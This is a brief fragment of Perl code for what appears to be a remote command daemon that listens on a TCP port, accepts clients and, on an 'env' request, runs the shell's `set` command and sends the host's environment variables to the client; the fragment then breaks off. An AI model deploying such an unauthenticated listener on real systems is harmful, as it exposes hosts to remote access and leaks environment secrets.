elsif (/env/i) {my $out = `set`; $out =~ s/\012/\015\012/g; print $client2 $out;}

##</code><code>##

my $socket = IO::Socket::INET->new( Proto     => 'tcp',
                                 LocalPort => $PORT,
                                 Listen    => SOMAXCONN,
                                 Reuse     => 1);

# Cant Start Daemon
die "can't setup server" unless $socket;

# Daemon Up And Running
print "[Server $0 accepting clients]\015\012";
 while ($client2 = $socket->accept()) {
.
.
.